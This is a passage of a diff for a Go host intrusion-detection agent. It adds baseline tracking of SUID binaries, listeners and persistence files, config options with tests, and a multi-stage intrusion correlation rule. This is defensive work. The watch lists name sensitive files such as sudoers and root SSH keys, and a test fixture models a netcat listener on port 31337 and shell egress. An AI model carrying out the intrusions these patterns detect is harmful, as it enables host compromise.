if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), suid); err != nil {
|
||||
return err
|
||||
}
|
||||
firstSeen := loadFirstSeen(filepath.Join(m.Config.LogDir, "first-seen.json"))
|
||||
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.initialized = true
|
||||
m.started = started
|
||||
m.lastPersistScan = started
|
||||
m.lastSUIDRefresh = started
|
||||
m.listenerBaseline = listeners
|
||||
m.suidBaseline = suid
|
||||
m.suidCurrent = nil
|
||||
m.firstSeen = firstSeen
|
||||
return nil
|
||||
}
|
||||
|
||||
// Prepare injects baseline state immediately before detectors run. During the
|
||||
// grace window every baseline detector stays inert, matching the registry-wide
|
||||
// listener_baseline gate in Python.
|
||||
func (m *Manager) Prepare(state *model.State, now time.Time) error {
|
||||
if state == nil {
|
||||
return fmt.Errorf("baseline state is required")
|
||||
}
|
||||
m.mu.Lock()
|
||||
if !m.initialized {
|
||||
m.mu.Unlock()
|
||||
return fmt.Errorf("baseline manager is not initialized")
|
||||
}
|
||||
armed := now.Sub(m.started) >= m.Config.BaselineGrace
|
||||
if !armed {
|
||||
state.ListenerBaseline = nil
|
||||
state.SUIDBaseline = nil
|
||||
state.SUIDBinaries = nil
|
||||
state.PersistSince = nil
|
||||
state.PersistenceFiles = nil
|
||||
state.FirstSeenPublicDestinations = nil
|
||||
state.FirstSeenListenerPorts = nil
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
state.ListenerBaseline = append([]string(nil), m.listenerBaseline...)
|
||||
state.SUIDBaseline = append([]string(nil), m.suidBaseline...)
|
||||
if m.suidCurrent != nil {
|
||||
state.SUIDBinaries = append([]string(nil), m.suidCurrent...)
|
||||
}
|
||||
since := float64(m.lastPersistScan.UnixNano()) / float64(time.Second)
|
||||
state.PersistSince = &since
|
||||
state.FirstSeenInitialized = m.firstSeen.Initialized
|
||||
state.FirstSeenPublicDestinations = cloneStringMap(m.firstSeen.PublicDestinations)
|
||||
state.FirstSeenListenerPorts = cloneStringMap(m.firstSeen.ListenerPorts)
|
||||
m.maybeStartSUIDScanLocked(now)
|
||||
m.mu.Unlock()
|
||||
|
||||
// Filesystem walking can be slower than copying the small durable stores,
|
||||
// but it is bounded to explicitly configured persistence roots and remains
|
||||
// fail-open per entry.
|
||||
state.PersistenceFiles = collectPersistenceFiles(m.Config.WatchPersistence)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Commit advances the previous-sweep timestamp only after detection and saves
|
||||
// first-seen additions atomically. This ordering prevents changes observed in
|
||||
// the current sweep from being skipped by the next one.
|
||||
func (m *Manager) Commit(state model.State, now time.Time) error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if !m.initialized {
|
||||
return fmt.Errorf("baseline manager is not initialized")
|
||||
}
|
||||
m.lastPersistScan = now
|
||||
if now.Sub(m.started) < m.Config.BaselineGrace || !m.Config.Enabled("first_seen") {
|
||||
return nil
|
||||
}
|
||||
m.firstSeen = firstSeenStore{
|
||||
Schema: firstSeenSchema,
|
||||
Initialized: true,
|
||||
PublicDestinations: cloneStringMap(state.FirstSeenPublicDestinations),
|
||||
ListenerPorts: cloneStringMap(state.FirstSeenListenerPorts),
|
||||
}
|
||||
return writeJSONAtomic(filepath.Join(m.Config.LogDir, "first-seen.json"), m.firstSeen)
|
||||
}
|
||||
|
||||
func (m *Manager) maybeStartSUIDScanLocked(now time.Time) {
|
||||
if m.ScanSUID == nil || m.suidScanRunning ||
|
||||
(!m.lastSUIDScan.IsZero() && now.Sub(m.lastSUIDScan) < m.Config.SUIDScanInterval) {
|
||||
return
|
||||
}
|
||||
m.lastSUIDScan = now
|
||||
m.suidScanRunning = true
|
||||
go func() {
|
||||
result := sortedUnique(m.ScanSUID())
|
||||
finished := m.Now()
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.suidCurrent = result
|
||||
m.suidScanRunning = false
|
||||
if finished.Sub(m.lastSUIDRefresh) < m.Config.SUIDRefresh {
|
||||
return
|
||||
}
|
||||
// Periodic folding matches Python: a legitimately installed privileged
|
||||
// binary eventually becomes baseline instead of alerting forever.
|
||||
m.suidBaseline = append([]string(nil), result...)
|
||||
m.lastSUIDRefresh = finished
|
||||
_ = writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), result)
|
||||
}()
|
||||
}
|
||||
|
||||
func listenerKeys(sockets []model.Socket) []string {
|
||||
keys := make([]string, 0)
|
||||
for _, socket := range sockets {
|
||||
if socket.State != "LISTEN" {
|
||||
continue
|
||||
}
|
||||
port := socket.Local
|
||||
if index := strings.LastIndex(socket.Local, ":"); index >= 0 {
|
||||
port = socket.Local[index+1:]
|
||||
}
|
||||
comm := socket.Comm
|
||||
if comm == "" {
|
||||
comm = "?"
|
||||
}
|
||||
keys = append(keys, port+"/"+comm)
|
||||
}
|
||||
return sortedUnique(keys)
|
||||
}
|
||||
|
||||
func collectPersistenceFiles(roots []string) map[string]float64 {
|
||||
result := make(map[string]float64)
|
||||
for _, root := range roots {
|
||||
info, err := os.Lstat(root)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !info.IsDir() {
|
||||
result[root] = float64(info.ModTime().UnixNano()) / float64(time.Second)
|
||||
continue
|
||||
}
|
||||
_ = filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if entry.IsDir() {
|
||||
return nil
|
||||
}
|
||||
info, err := os.Lstat(path)
|
||||
if err == nil {
|
||||
result[path] = float64(info.ModTime().UnixNano()) / float64(time.Second)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func loadFirstSeen(path string) firstSeenStore {
|
||||
store := firstSeenStore{
|
||||
Schema: firstSeenSchema, PublicDestinations: map[string][]string{},
|
||||
ListenerPorts: map[string][]string{},
|
||||
}
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil || json.Unmarshal(raw, &store) != nil {
|
||||
return firstSeenStore{
|
||||
Schema: firstSeenSchema, PublicDestinations: map[string][]string{},
|
||||
ListenerPorts: map[string][]string{},
|
||||
}
|
||||
}
|
||||
store.Schema = firstSeenSchema
|
||||
if store.PublicDestinations == nil {
|
||||
store.PublicDestinations = map[string][]string{}
|
||||
}
|
||||
if store.ListenerPorts == nil {
|
||||
store.ListenerPorts = map[string][]string{}
|
||||
}
|
||||
return store
|
||||
}
|
||||
|
||||
func writeJSONAtomic(path string, value any) error {
|
||||
raw, err := json.MarshalIndent(value, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
raw = append(raw, '\n')
|
||||
temporary := path + ".tmp"
|
||||
if err := os.WriteFile(temporary, raw, 0o640); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.Rename(temporary, path); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.Chmod(path, 0o640)
|
||||
}
|
||||
|
||||
func cloneStringMap(source map[string][]string) map[string][]string {
|
||||
result := make(map[string][]string, len(source))
|
||||
for key, values := range source {
|
||||
result[key] = append([]string(nil), values...)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func sortedUnique(values []string) []string {
|
||||
seen := make(map[string]bool, len(values))
|
||||
result := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
if !seen[value] {
|
||||
seen[value] = true
|
||||
result = append(result, value)
|
||||
}
|
||||
}
|
||||
sort.Strings(result)
|
||||
return result
|
||||
}
|
||||
97
go-agent/internal/baseline/manager_test.go
Normal file
97
go-agent/internal/baseline/manager_test.go
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package baseline
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
func TestManagerGraceAndDurableFirstSeenLifecycle(t *testing.T) {
|
||||
directory := t.TempDir()
|
||||
watched := filepath.Join(directory, "cron-entry")
|
||||
if err := os.WriteFile(watched, []byte("job"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
start := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
|
||||
now := start
|
||||
cfg := config.Default()
|
||||
cfg.LogDir = directory
|
||||
cfg.BaselineGrace = 10 * time.Second
|
||||
cfg.WatchPersistence = []string{watched}
|
||||
manager := New(cfg, func() []string { return []string{"/usr/bin/sudo"} })
|
||||
manager.Now = func() time.Time { return now }
|
||||
p := 42
|
||||
capture := func() (model.State, error) {
|
||||
return model.State{Sockets: []model.Socket{{
|
||||
State: "LISTEN", Local: "[::]:22", Comm: "sshd", PID: &p,
|
||||
}}}, nil
|
||||
}
|
||||
if err := manager.Initialize(capture); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
now = start.Add(5 * time.Second)
|
||||
state := model.State{}
|
||||
if err := manager.Prepare(&state, now); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if state.ListenerBaseline != nil || state.PersistSince != nil {
|
||||
t.Fatalf("baseline detectors armed during grace: %#v", state)
|
||||
}
|
||||
if err := manager.Commit(state, now); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
now = start.Add(11 * time.Second)
|
||||
state = model.State{}
|
||||
if err := manager.Prepare(&state, now); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(state.ListenerBaseline) != 1 || state.ListenerBaseline[0] != "22/sshd" {
|
||||
t.Fatalf("unexpected listener baseline: %#v", state.ListenerBaseline)
|
||||
}
|
||||
if state.PersistSince == nil || *state.PersistSince != float64(start.Add(5*time.Second).Unix()) {
|
||||
t.Fatalf("unexpected persistence boundary: %#v", state.PersistSince)
|
||||
}
|
||||
state.FirstSeenPublicDestinations["bash"] = []string{"8.8.8.8:443"}
|
||||
state.FirstSeenListenerPorts["nc"] = []string{"31337"}
|
||||
if err := manager.Commit(state, now); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(directory, "first-seen.json"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var stored firstSeenStore
|
||||
if err := json.Unmarshal(raw, &stored); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !stored.Initialized || stored.PublicDestinations["bash"][0] != "8.8.8.8:443" {
|
||||
t.Fatalf("unexpected first-seen store: %#v", stored)
|
||||
}
|
||||
for _, name := range []string{"listener-baseline.json", "suid-baseline.json"} {
|
||||
if _, err := os.Stat(filepath.Join(directory, name)); err != nil {
|
||||
t.Fatalf("missing %s: %v", name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadFirstSeenFailsOpenOnCorruptStore(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "first-seen.json")
|
||||
if err := os.WriteFile(path, []byte("{"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store := loadFirstSeen(path)
|
||||
if store.Initialized || store.Schema != firstSeenSchema ||
|
||||
store.PublicDestinations == nil || store.ListenerPorts == nil {
|
||||
t.Fatalf("unexpected fallback: %#v", store)
|
||||
}
|
||||
}
|
||||
|
|
@ -53,18 +53,33 @@ var defaultMemoryObfuscationAllowComms = []string{
|
|||
// Config mirrors the Phase 1 settings consumed by the Go sweep loop. More
|
||||
// fields are added as their detectors are ported.
|
||||
type Config struct {
|
||||
SampleInterval time.Duration
|
||||
HeartbeatMaxAge int
|
||||
Detectors map[string]bool
|
||||
InputSnooperAllowComms map[string]bool
|
||||
CredentialAccessAllowComms map[string]bool
|
||||
CredentialAccessExtraPaths []string
|
||||
Interpreters map[string]bool
|
||||
EgressAllowCIDRs []string
|
||||
StealthNetworkAllowComms map[string]bool
|
||||
StealthNetworkAllowKinds map[string]bool
|
||||
MemoryObfuscationAllowComms map[string]bool
|
||||
MemoryObfuscationAllowPaths []string
|
||||
SampleInterval time.Duration
|
||||
Cooldown time.Duration
|
||||
BaselineGrace time.Duration
|
||||
SUIDRefresh time.Duration
|
||||
SUIDScanInterval time.Duration
|
||||
HeartbeatMaxAge int
|
||||
MaxSnapshots int
|
||||
MaxSnapshotAgeDays int
|
||||
Detectors map[string]bool
|
||||
InputSnooperAllowComms map[string]bool
|
||||
CredentialAccessAllowComms map[string]bool
|
||||
CredentialAccessExtraPaths []string
|
||||
Interpreters map[string]bool
|
||||
EgressAllowCIDRs []string
|
||||
ListenerAllowPorts map[string]bool
|
||||
ListenerAllowComms map[string]bool
|
||||
SuppressPackageOwnedListeners bool
|
||||
FirstSeenEnabled bool
|
||||
SUIDHotDirs []string
|
||||
SUIDScanExtraDirs []string
|
||||
WatchPersistence []string
|
||||
StealthNetworkAllowComms map[string]bool
|
||||
StealthNetworkAllowKinds map[string]bool
|
||||
MemoryObfuscationAllowComms map[string]bool
|
||||
MemoryObfuscationAllowPaths []string
|
||||
ExecRulesFile string
|
||||
LogDir string
|
||||
}
|
||||
|
||||
// Default returns Python-compatible defaults for the fields currently used.
|
||||
|
|
@ -74,23 +89,46 @@ func Default() Config {
|
|||
detectors[name] = true
|
||||
}
|
||||
return Config{
|
||||
SampleInterval: 4 * time.Second,
|
||||
HeartbeatMaxAge: 120,
|
||||
Detectors: detectors,
|
||||
InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms),
|
||||
CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms),
|
||||
CredentialAccessExtraPaths: []string{},
|
||||
Interpreters: stringSet(defaultInterpreters),
|
||||
EgressAllowCIDRs: []string{},
|
||||
SampleInterval: 4 * time.Second,
|
||||
Cooldown: 60 * time.Second,
|
||||
BaselineGrace: 10 * time.Second,
|
||||
SUIDRefresh: time.Hour,
|
||||
SUIDScanInterval: time.Minute,
|
||||
HeartbeatMaxAge: 120,
|
||||
MaxSnapshots: 300,
|
||||
MaxSnapshotAgeDays: 60,
|
||||
Detectors: detectors,
|
||||
InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms),
|
||||
CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms),
|
||||
CredentialAccessExtraPaths: []string{},
|
||||
Interpreters: stringSet(defaultInterpreters),
|
||||
EgressAllowCIDRs: []string{},
|
||||
ListenerAllowPorts: map[string]bool{},
|
||||
ListenerAllowComms: map[string]bool{},
|
||||
SuppressPackageOwnedListeners: false,
|
||||
FirstSeenEnabled: true,
|
||||
SUIDHotDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/home", "/run/user"},
|
||||
SUIDScanExtraDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/run/user"},
|
||||
WatchPersistence: []string{
|
||||
"/etc/cron.d", "/etc/crontab", "/etc/cron.daily", "/etc/cron.hourly",
|
||||
"/etc/cron.weekly", "/var/spool/cron", "/etc/systemd/system",
|
||||
"/etc/ld.so.preload", "/etc/passwd", "/etc/sudoers", "/etc/sudoers.d",
|
||||
"/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile",
|
||||
},
|
||||
StealthNetworkAllowComms: stringSet(defaultStealthNetworkAllowComms),
|
||||
StealthNetworkAllowKinds: map[string]bool{},
|
||||
MemoryObfuscationAllowComms: stringSet(defaultMemoryObfuscationAllowComms),
|
||||
MemoryObfuscationAllowPaths: []string{},
|
||||
ExecRulesFile: "",
|
||||
LogDir: envOrDefault("ENODIA_LOG_DIR", "/var/log/enodia-sentinel"),
|
||||
}
|
||||
}
|
||||
|
||||
// Enabled reports whether a detector is enabled by configuration.
|
||||
func (c Config) Enabled(name string) bool {
|
||||
if name == "first_seen" && !c.FirstSeenEnabled {
|
||||
return false
|
||||
}
|
||||
return c.Detectors[name]
|
||||
}
|
||||
|
||||
|
|
@ -124,12 +162,48 @@ func Load(path string) (Config, error) {
|
|||
return Config{}, fmt.Errorf("sample_interval must be positive: %q", value)
|
||||
}
|
||||
cfg.SampleInterval = time.Duration(seconds * float64(time.Second))
|
||||
case "cooldown":
|
||||
duration, err := nonNegativeSeconds(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("cooldown: %w", err)
|
||||
}
|
||||
cfg.Cooldown = duration
|
||||
case "baseline_grace":
|
||||
duration, err := nonNegativeSeconds(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("baseline_grace: %w", err)
|
||||
}
|
||||
cfg.BaselineGrace = duration
|
||||
case "suid_refresh":
|
||||
duration, err := positiveSeconds(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("suid_refresh: %w", err)
|
||||
}
|
||||
cfg.SUIDRefresh = duration
|
||||
case "suid_scan_interval":
|
||||
duration, err := positiveSeconds(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("suid_scan_interval: %w", err)
|
||||
}
|
||||
cfg.SUIDScanInterval = duration
|
||||
case "heartbeat_max_age":
|
||||
age, err := strconv.Atoi(value)
|
||||
if err != nil || age < 0 {
|
||||
return Config{}, fmt.Errorf("heartbeat_max_age must be non-negative: %q", value)
|
||||
}
|
||||
cfg.HeartbeatMaxAge = age
|
||||
case "max_snapshots":
|
||||
count, err := strconv.Atoi(value)
|
||||
if err != nil || count < 0 {
|
||||
return Config{}, fmt.Errorf("max_snapshots must be non-negative: %q", value)
|
||||
}
|
||||
cfg.MaxSnapshots = count
|
||||
case "max_snapshot_age_days":
|
||||
days, err := strconv.Atoi(value)
|
||||
if err != nil || days < 0 {
|
||||
return Config{}, fmt.Errorf("max_snapshot_age_days must be non-negative: %q", value)
|
||||
}
|
||||
cfg.MaxSnapshotAgeDays = days
|
||||
case "detectors":
|
||||
names, err := stringArray(value)
|
||||
if err != nil {
|
||||
|
|
@ -171,6 +245,48 @@ func Load(path string) (Config, error) {
|
|||
return Config{}, fmt.Errorf("egress_allow_cidrs: %w", err)
|
||||
}
|
||||
cfg.EgressAllowCIDRs = cidrs
|
||||
case "listener_allow_ports":
|
||||
ports, err := stringArray(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("listener_allow_ports: %w", err)
|
||||
}
|
||||
cfg.ListenerAllowPorts = stringSet(ports)
|
||||
case "listener_allow_comms":
|
||||
comms, err := stringArray(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("listener_allow_comms: %w", err)
|
||||
}
|
||||
cfg.ListenerAllowComms = stringSet(comms)
|
||||
case "suppress_package_owned_listeners":
|
||||
enabled, err := boolean(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("suppress_package_owned_listeners: %w", err)
|
||||
}
|
||||
cfg.SuppressPackageOwnedListeners = enabled
|
||||
case "first_seen_enabled":
|
||||
enabled, err := boolean(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("first_seen_enabled: %w", err)
|
||||
}
|
||||
cfg.FirstSeenEnabled = enabled
|
||||
case "suid_hot_dirs":
|
||||
dirs, err := stringArray(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("suid_hot_dirs: %w", err)
|
||||
}
|
||||
cfg.SUIDHotDirs = dirs
|
||||
case "suid_scan_extra_dirs":
|
||||
dirs, err := stringArray(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("suid_scan_extra_dirs: %w", err)
|
||||
}
|
||||
cfg.SUIDScanExtraDirs = dirs
|
||||
case "watch_persistence":
|
||||
paths, err := stringArray(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("watch_persistence: %w", err)
|
||||
}
|
||||
cfg.WatchPersistence = paths
|
||||
case "stealth_network_allow_comms":
|
||||
names, err := stringArray(value)
|
||||
if err != nil {
|
||||
|
|
@ -195,11 +311,57 @@ func Load(path string) (Config, error) {
|
|||
return Config{}, fmt.Errorf("memory_obfuscation_allow_paths: %w", err)
|
||||
}
|
||||
cfg.MemoryObfuscationAllowPaths = paths
|
||||
case "exec_rules_file":
|
||||
path, err := strconv.Unquote(value)
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("exec_rules_file must be a string: %q", value)
|
||||
}
|
||||
cfg.ExecRulesFile = path
|
||||
case "log_dir":
|
||||
path, err := strconv.Unquote(value)
|
||||
if err != nil || path == "" {
|
||||
return Config{}, fmt.Errorf("log_dir must be a non-empty string: %q", value)
|
||||
}
|
||||
cfg.LogDir = path
|
||||
}
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func envOrDefault(name, fallback string) string {
|
||||
if value := os.Getenv(name); value != "" {
|
||||
return value
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
func positiveSeconds(value string) (time.Duration, error) {
|
||||
seconds, err := strconv.ParseFloat(value, 64)
|
||||
if err != nil || seconds <= 0 {
|
||||
return 0, fmt.Errorf("must be positive: %q", value)
|
||||
}
|
||||
return time.Duration(seconds * float64(time.Second)), nil
|
||||
}
|
||||
|
||||
func nonNegativeSeconds(value string) (time.Duration, error) {
|
||||
seconds, err := strconv.ParseFloat(value, 64)
|
||||
if err != nil || seconds < 0 {
|
||||
return 0, fmt.Errorf("must be non-negative: %q", value)
|
||||
}
|
||||
return time.Duration(seconds * float64(time.Second)), nil
|
||||
}
|
||||
|
||||
func boolean(value string) (bool, error) {
|
||||
switch value {
|
||||
case "true":
|
||||
return true, nil
|
||||
case "false":
|
||||
return false, nil
|
||||
default:
|
||||
return false, fmt.Errorf("must be true or false: %q", value)
|
||||
}
|
||||
}
|
||||
|
||||
func stringSet(values []string) map[string]bool {
|
||||
result := make(map[string]bool, len(values))
|
||||
for _, value := range values {
|
||||
|
|
|
|||
|
|
@ -11,7 +11,11 @@ import (
|
|||
|
||||
func TestDefaultsMatchPython(t *testing.T) {
|
||||
cfg := Default()
|
||||
if cfg.SampleInterval != 4*time.Second || cfg.HeartbeatMaxAge != 120 {
|
||||
if cfg.SampleInterval != 4*time.Second || cfg.Cooldown != 60*time.Second ||
|
||||
cfg.BaselineGrace != 10*time.Second ||
|
||||
cfg.SUIDRefresh != time.Hour || cfg.SUIDScanInterval != time.Minute ||
|
||||
cfg.HeartbeatMaxAge != 120 || cfg.MaxSnapshots != 300 ||
|
||||
cfg.MaxSnapshotAgeDays != 60 || !cfg.FirstSeenEnabled {
|
||||
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||
}
|
||||
if !cfg.Enabled("deleted_exe") {
|
||||
|
|
@ -23,7 +27,13 @@ func TestLoadFlatTOMLAndMultilineDetectorArray(t *testing.T) {
|
|||
path := filepath.Join(t.TempDir(), "sentinel.toml")
|
||||
raw := []byte(`
|
||||
sample_interval = 1.5 # seconds
|
||||
cooldown = 30
|
||||
baseline_grace = 2.5
|
||||
suid_refresh = 120
|
||||
suid_scan_interval = 15
|
||||
heartbeat_max_age = 45
|
||||
max_snapshots = 25
|
||||
max_snapshot_age_days = 7
|
||||
detectors = [
|
||||
"deleted_exe",
|
||||
"egress",
|
||||
|
|
@ -33,10 +43,18 @@ credential_access_allow_comms = ["firefox"]
|
|||
credential_access_extra_paths = ["/srv/secrets/"]
|
||||
interpreters = ["bash", "python3"]
|
||||
egress_allow_cidrs = ["203.0.113.0/24"]
|
||||
listener_allow_ports = ["22"]
|
||||
listener_allow_comms = ["syncthing"]
|
||||
suppress_package_owned_listeners = true
|
||||
first_seen_enabled = false
|
||||
suid_hot_dirs = ["/tmp"]
|
||||
suid_scan_extra_dirs = ["/dev/shm"]
|
||||
watch_persistence = ["/etc/cron.d"]
|
||||
stealth_network_allow_comms = ["tcpdump"]
|
||||
stealth_network_allow_kinds = ["mptcp"]
|
||||
memory_obfuscation_allow_comms = ["jit-runtime"]
|
||||
memory_obfuscation_allow_paths = ["/tmp/known-profiler/"]
|
||||
exec_rules_file = "/etc/enodia-extra-rules.toml"
|
||||
unknown_future_key = true
|
||||
`)
|
||||
if err := os.WriteFile(path, raw, 0o600); err != nil {
|
||||
|
|
@ -46,7 +64,10 @@ unknown_future_key = true
|
|||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if cfg.SampleInterval != 1500*time.Millisecond || cfg.HeartbeatMaxAge != 45 {
|
||||
if cfg.SampleInterval != 1500*time.Millisecond || cfg.Cooldown != 30*time.Second ||
|
||||
cfg.BaselineGrace != 2500*time.Millisecond ||
|
||||
cfg.SUIDRefresh != 2*time.Minute || cfg.SUIDScanInterval != 15*time.Second ||
|
||||
cfg.HeartbeatMaxAge != 45 || cfg.MaxSnapshots != 25 || cfg.MaxSnapshotAgeDays != 7 {
|
||||
t.Fatalf("unexpected parsed config: %+v", cfg)
|
||||
}
|
||||
if !cfg.Enabled("deleted_exe") || !cfg.Enabled("egress") || cfg.Enabled("reverse_shell") {
|
||||
|
|
@ -62,12 +83,19 @@ unknown_future_key = true
|
|||
if !cfg.Interpreters["bash"] || len(cfg.EgressAllowCIDRs) != 1 {
|
||||
t.Fatalf("unexpected network tuning: %#v %#v", cfg.Interpreters, cfg.EgressAllowCIDRs)
|
||||
}
|
||||
if !cfg.ListenerAllowPorts["22"] || !cfg.ListenerAllowComms["syncthing"] ||
|
||||
!cfg.SuppressPackageOwnedListeners || cfg.FirstSeenEnabled || cfg.Enabled("first_seen") ||
|
||||
len(cfg.SUIDHotDirs) != 1 || len(cfg.SUIDScanExtraDirs) != 1 ||
|
||||
len(cfg.WatchPersistence) != 1 {
|
||||
t.Fatalf("unexpected baseline tuning: %+v", cfg)
|
||||
}
|
||||
if !cfg.StealthNetworkAllowComms["tcpdump"] || !cfg.StealthNetworkAllowKinds["mptcp"] {
|
||||
t.Fatalf("unexpected stealth tuning: %#v %#v",
|
||||
cfg.StealthNetworkAllowComms, cfg.StealthNetworkAllowKinds)
|
||||
}
|
||||
if !cfg.MemoryObfuscationAllowComms["jit-runtime"] || len(cfg.MemoryObfuscationAllowPaths) != 1 ||
|
||||
cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" {
|
||||
cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" ||
|
||||
cfg.ExecRulesFile != "/etc/enodia-extra-rules.toml" {
|
||||
t.Fatalf("unexpected memory tuning: %#v %#v",
|
||||
cfg.MemoryObfuscationAllowComms, cfg.MemoryObfuscationAllowPaths)
|
||||
}
|
||||
|
|
|
|||
92
go-agent/internal/correlation/correlation.go
Normal file
92
go-agent/internal/correlation/correlation.go
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package correlation adds higher-confidence stories without hiding or
|
||||
// replacing their raw alerts. It is transport- and persistence-independent.
|
||||
package correlation
|
||||
|
||||
import "sort"
|
||||
|
||||
const SIDMultiStageIntrusion = 100080
|
||||
|
||||
type Incident struct {
|
||||
FirstTimestamp float64 `json:"first_ts"`
|
||||
LastTimestamp float64 `json:"last_ts"`
|
||||
Signatures []string `json:"signatures"`
|
||||
}
|
||||
|
||||
type Record struct {
|
||||
SID int `json:"sid"`
|
||||
Signature string `json:"signature"`
|
||||
Classtype string `json:"classtype"`
|
||||
Severity string `json:"severity"`
|
||||
Summary string `json:"summary"`
|
||||
WindowSeconds int `json:"window_seconds"`
|
||||
MatchedSignatures []string `json:"matched_signatures"`
|
||||
}
|
||||
|
||||
type Rule struct {
|
||||
SID int
|
||||
Signature string
|
||||
Classtype string
|
||||
Severity string
|
||||
Summary string
|
||||
RequiredAny []map[string]bool
|
||||
MaxWindow int
|
||||
}
|
||||
|
||||
var DefaultRules = []Rule{{
|
||||
SID: SIDMultiStageIntrusion, Signature: "correlation.multi_stage_intrusion",
|
||||
Classtype: "multi-stage-intrusion", Severity: "CRITICAL",
|
||||
Summary: "Web/database service spawned a shell and the same incident showed " +
|
||||
"suspicious egress or an unusual listener within the correlation window",
|
||||
RequiredAny: []map[string]bool{
|
||||
{"exec_rule.web-rce": true},
|
||||
{"host_rule.suspicious-egress": true, "host_rule.suspicious-listener": true},
|
||||
},
|
||||
MaxWindow: 600,
|
||||
}}
|
||||
|
||||
func Correlate(incident Incident, rules []Rule) []Record {
|
||||
if rules == nil {
|
||||
rules = DefaultRules
|
||||
}
|
||||
signatures := make(map[string]bool, len(incident.Signatures))
|
||||
for _, signature := range incident.Signatures {
|
||||
signatures[signature] = true
|
||||
}
|
||||
duration := incident.LastTimestamp - incident.FirstTimestamp
|
||||
result := make([]Record, 0)
|
||||
for _, rule := range rules {
|
||||
if duration > float64(rule.MaxWindow) {
|
||||
continue
|
||||
}
|
||||
matched := true
|
||||
for _, choices := range rule.RequiredAny {
|
||||
found := false
|
||||
for choice := range choices {
|
||||
if signatures[choice] {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
matched = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if !matched {
|
||||
continue
|
||||
}
|
||||
matchedSignatures := make([]string, 0, len(signatures))
|
||||
for signature := range signatures {
|
||||
matchedSignatures = append(matchedSignatures, signature)
|
||||
}
|
||||
sort.Strings(matchedSignatures)
|
||||
result = append(result, Record{
|
||||
SID: rule.SID, Signature: rule.Signature, Classtype: rule.Classtype,
|
||||
Severity: rule.Severity, Summary: rule.Summary,
|
||||
WindowSeconds: rule.MaxWindow, MatchedSignatures: matchedSignatures,
|
||||
})
|
||||
}
|
||||
return result
|
||||
}
|
||||
44
go-agent/internal/correlation/correlation_test.go
Normal file
44
go-agent/internal/correlation/correlation_test.go
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package correlation
|
||||
|
||||
